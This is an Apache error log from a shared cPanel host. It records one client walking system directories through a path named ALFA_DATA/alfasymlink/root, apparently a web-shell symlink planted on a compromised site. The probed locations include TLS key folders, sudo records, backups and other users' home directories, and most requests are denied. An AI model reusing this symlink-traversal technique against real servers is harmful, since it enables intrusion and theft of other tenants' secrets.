[Sun Oct 25 14:22:26.838749 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:22:26.838767 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:22:26.838781 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:22:27.313152 2026] [autoindex:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:62858] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/backup/
[Sun Oct 25 14:22:28.962949 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:61474] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sun Oct 25 14:22:28.963350 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:61474] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:22:29.892661 2026] [autoindex:error] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62542] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cursodeventas/
[Sun Oct 25 14:22:30.042663 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 185.191.171.17:61988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:30.203365 2026] [security2:error] [pid 2875807:tid 2875807] [client 52.2.58.41:34939] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/QEMU0002:00/wakeup/wakeup13/"] [unique_id "at5I5gHDER8y19YYHrzTaQAAAB0"]
[Sun Oct 25 14:22:30.203427 2026] [security2:error] [pid 2875807:tid 2875807] [client 52.2.58.41:34939] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/QEMU0002:00/wakeup/wakeup13/"] [unique_id "at5I5gHDER8y19YYHrzTaQAAAB0"]
[Sun Oct 25 14:22:30.553652 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:62705] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/php.ini
[Sun Oct 25 14:22:31.059630 2026] [autoindex:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:62844] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/virtfs/
[Sun Oct 25 14:22:34.188291 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.196.118.6:23937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:22:35.508569 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:63611] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/' is executable
[Sun Oct 25 14:22:39.822494 2026] [autoindex:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:64270] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/cpanel/
[Sun Oct 25 14:22:42.727878 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:64757] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cron.weekly/"] [unique_id "at5I8v1CbQghwAu-zzMCiQAAACA"]
[Sun Oct 25 14:22:42.727946 2026] [security2:error] [pid 2873159:tid 2873159] [client 76.135.135.39:64757] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cron.weekly/"] [unique_id "at5I8v1CbQghwAu-zzMCiQAAACA"]
[Sun Oct 25 14:22:54.178269 2026] [core:error] [pid 2875828:tid 2875828] (13)Permission denied: [client 3.219.81.66:38240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:19/eject
[Sun Oct 25 14:22:57.949461 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:57360] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/' is executable
[Sun Oct 25 14:22:57.949546 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:57360] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/' is executable
[Sun Oct 25 14:22:57.949576 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:57360] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/' is executable
[Sun Oct 25 14:22:58.011016 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:57360] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/' is executable
[Sun Oct 25 14:23:08.167001 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:63655] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/kcare-gpg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/kcare-gpg/' is executable
[Sun Oct 25 14:23:08.167083 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:63655] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/rsyslog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/rsyslog/' is executable
[Sun Oct 25 14:23:09.671202 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:63698] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/' is executable
[Sun Oct 25 14:23:09.671267 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:63698] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/' is executable
[Sun Oct 25 14:23:10.187502 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 52.4.229.9:50876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:23:11.595214 2026] [autoindex:error] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:63747] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/proftpd/
[Sun Oct 25 14:23:12.554710 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:63775] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/' is executable
[Sun Oct 25 14:23:13.083749 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 216.244.66.250:50556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fqNiB_O60Q
[Sun Oct 25 14:23:22.171104 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 52.6.97.88:19037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory15/node0/compact
[Sun Oct 25 14:23:28.308538 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:50926] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tuned/"] [unique_id "at5JICOJ5J2CO9rwTwq1ggAAAAA"]
[Sun Oct 25 14:23:28.308736 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:50926] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tuned/"] [unique_id "at5JICOJ5J2CO9rwTwq1ggAAAAA"]
[Sun Oct 25 14:23:30.388735 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 54.162.69.192:2388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:23:31.144669 2026] [autoindex:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:51478] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/valiases/
[Sun Oct 25 14:23:31.616774 2026] [autoindex:error] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:51553] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/vdomainaliases/
[Sun Oct 25 14:23:32.133488 2026] [autoindex:error] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:51662] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/vfilters/
[Sun Oct 25 14:23:34.168221 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 54.210.152.179:63157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:23:40.293577 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_restore/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_restore/' is executable
[Sun Oct 25 14:23:40.303447 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tmp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tmp/' is executable
[Sun Oct 25 14:23:40.303506 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/db/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/db/' is executable
[Sun Oct 25 14:23:40.303533 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/backups/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/backups/' is executable
[Sun Oct 25 14:23:40.303554 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/conf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/conf/' is executable
[Sun Oct 25 14:23:40.303579 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tasks/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/tasks/' is executable
[Sun Oct 25 14:23:40.303629 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:53383] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_download/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/selection_download/' is executable
[Sun Oct 25 14:23:40.997260 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:53542] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/apache2/' is executable
[Sun Oct 25 14:23:41.017963 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:53542] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/private/' is executable
[Sun Oct 25 14:23:41.076210 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:53542] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/ldconfig/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/ldconfig/' is executable
[Sun Oct 25 14:23:41.547014 2026] [autoindex:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:53639] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cpanel/
[Sun Oct 25 14:23:43.196163 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:54003] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/db/sudo/' is executable
[Sun Oct 25 14:23:50.130000 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/sssd/' is executable
[Sun Oct 25 14:23:50.150602 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/cpanel-server-traffic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/cpanel-server-traffic/' is executable
[Sun Oct 25 14:23:50.163869 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/audit/' is executable
[Sun Oct 25 14:23:50.164183 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/private/' is executable
[Sun Oct 25 14:23:50.178271 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/archive/' is executable
[Sun Oct 25 14:23:50.178569 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/nginx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/nginx/' is executable
[Sun Oct 25 14:23:50.183227 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/dcpumon/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/dcpumon/' is executable
[Sun Oct 25 14:23:50.233154 2026] [core:crit] [pid 2875798:tid 2875798] (13)Permission denied: [client 76.135.135.39:55203] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/chrony/' is executable
[Sun Oct 25 14:23:52.052188 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/' is executable
[Sun Oct 25 14:23:52.052518 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/' is executable
[Sun Oct 25 14:23:52.052650 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/' is executable
[Sun Oct 25 14:23:52.052801 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/' is executable
[Sun Oct 25 14:23:52.052905 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/' is executable
[Sun Oct 25 14:23:52.072258 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:55551] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/' is executable
[Sun Oct 25 14:23:54.308159 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 18.214.186.220:17956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:23:55.269836 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/chyrp/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.371942 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:56331] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/logs/' is executable
[Sun Oct 25 14:23:55.429952 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/atlantis/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.449916 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/openeshop/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.600895 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/koken/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.652026 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp68/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.781502 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:55.883253 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/leafpub/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.013233 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/procwire/
[Sun Oct 25 14:23:56.060090 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp51/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.256338 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp56/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.448147 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/sugar/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.504437 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp62/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.596767 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp70/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.680959 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp58/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.687701 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp60/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.732178 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp64/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.858098 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal89/
[Sun Oct 25 14:23:56.874108 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp61/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:56.968877 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal9/
[Sun Oct 25 14:23:57.014249 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/alegro/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.019731 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/pydio/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.034303 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp53/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.042137 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/spip/
[Sun Oct 25 14:23:57.045649 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp52/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.070964 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp63/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:23:57.278872 2026] [core:alert] [pid 2873159:tid 2873159] [client 76.135.135.39:56331] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/avactis/.htaccess: RewriteBase: argument is not a valid URL
